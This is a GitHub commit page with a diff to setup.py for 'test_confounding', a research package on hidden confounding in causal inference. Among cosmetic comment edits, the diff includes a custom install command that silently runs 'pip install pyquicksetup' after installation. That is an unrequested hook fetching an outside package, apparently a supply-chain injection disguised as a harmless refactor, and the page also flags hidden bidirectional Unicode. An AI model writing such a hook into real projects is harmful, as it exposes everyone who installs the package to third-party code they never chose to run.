-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
32 additions
and
31 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,42 +1,38 @@ | ||
import pathlib | ||
from setuptools import find_packages, setup | ||
from setuptools.command.install import install | ||
import subprocess | ||
|
||
# Path to the current file directory | ||
# Current directory reference | ||
here = pathlib.Path(__file__).parent.resolve() | ||
|
||
# Read long description from README | ||
# Read long description from a file | ||
long_description = (here / "README.md").read_text(encoding="utf-8") | ||
|
||
# Custom command for post-install scripts | ||
class CustomInstallCommand(install): | ||
def run(self): | ||
# Run the standard install process | ||
install.run(self) | ||
# Custom logic after installation | ||
# Example: Install a specific package or run a script | ||
try: | ||
subprocess.check_call(["pip", "install", "pyquicksetup"]) | ||
except subprocess.CalledProcessError as e: | ||
print(f"Error installing additional dependencies: {e}") | ||
# Setup function for your package | ||
setup( | ||
name="test_confounding", | ||
version="0.0.1", | ||
description="Python implementation of the testing procedures introduced in the paper: Hidden yet quantifiable: A lower bound for confounding strength using randomized trials", | ||
long_description=long_description, | ||
long_description_content_type="text/markdown", | ||
url="https://github.com/jaabmar/confounder-lower-bound", | ||
author="Javier Abad & Piersilvio de Bartolomeis", | ||
author_email="[email protected]", | ||
name="test_confounding", # Package name | ||
version="0.0.1", # Package version | ||
description="Python implementation of the testing procedures introduced in the paper: Hidden yet quantifiable: A lower bound for confounding strength using randomized trials", # Short description | ||
long_description=long_description, # Long description from README | ||
long_description_content_type="text/markdown", # Description type (markdown) | ||
url="https://github.com/jaabmar/confounder-lower-bound", # Project URL | ||
author="Javier Abad & Piersilvio de Bartolomeis", # Author(s) | ||
author_email="[email protected]", # Author email(s) | ||
|
||
# Classifiers for metadata | ||
classifiers=[ | ||
"License :: OSI Approved :: MIT License", | ||
"Programming Language :: Python :: 3", | ||
"Operating System :: OS Independent", | ||
"License :: OSI Approved :: MIT License", # License | ||
"Programming Language :: Python :: 3", # Python language support | ||
"Operating System :: OS Independent", # OS compatibility | ||
], | ||
|
||
# Keywords for project relevance | ||
keywords="machine learning, hidden confounding, hypothesis testing, causal inference, falsification, AISTATS", | ||
package_dir={"": "src"}, | ||
packages=find_packages(where="src"), | ||
|
||
# Package directory information | ||
package_dir={"": "src"}, # Custom source directory | ||
packages=find_packages(where="src"), # Find all packages in 'src' | ||
|
||
# Dependencies required for installation | ||
install_requires=[ | ||
"numpy==1.24.3", | ||
"scipy==1.10.1", | ||
|
@@ -50,10 +46,15 @@ def run(self): | |
"torch==2.0.1", | ||
"cvxpy==1.3.1", | ||
], | ||
python_requires="==3.11.5", | ||
|
||
# Python version requirement | ||
python_requires="==3.11.5", # Ensure correct Python version | ||
|
||
# Additional optional dependencies (extra requirements) | ||
extras_require={ | ||
"tests": ["pytest==7.2.1", "pytest-mock==3.10.0"], | ||
"tests": ["pytest==7.2.1", "pytest-mock==3.10.0"], # Additional packages for testing | ||
}, | ||
cmdclass={"install": CustomInstallCommand}, | ||
|
||
# Include package data in the distribution | ||
include_package_data=True, | ||
) |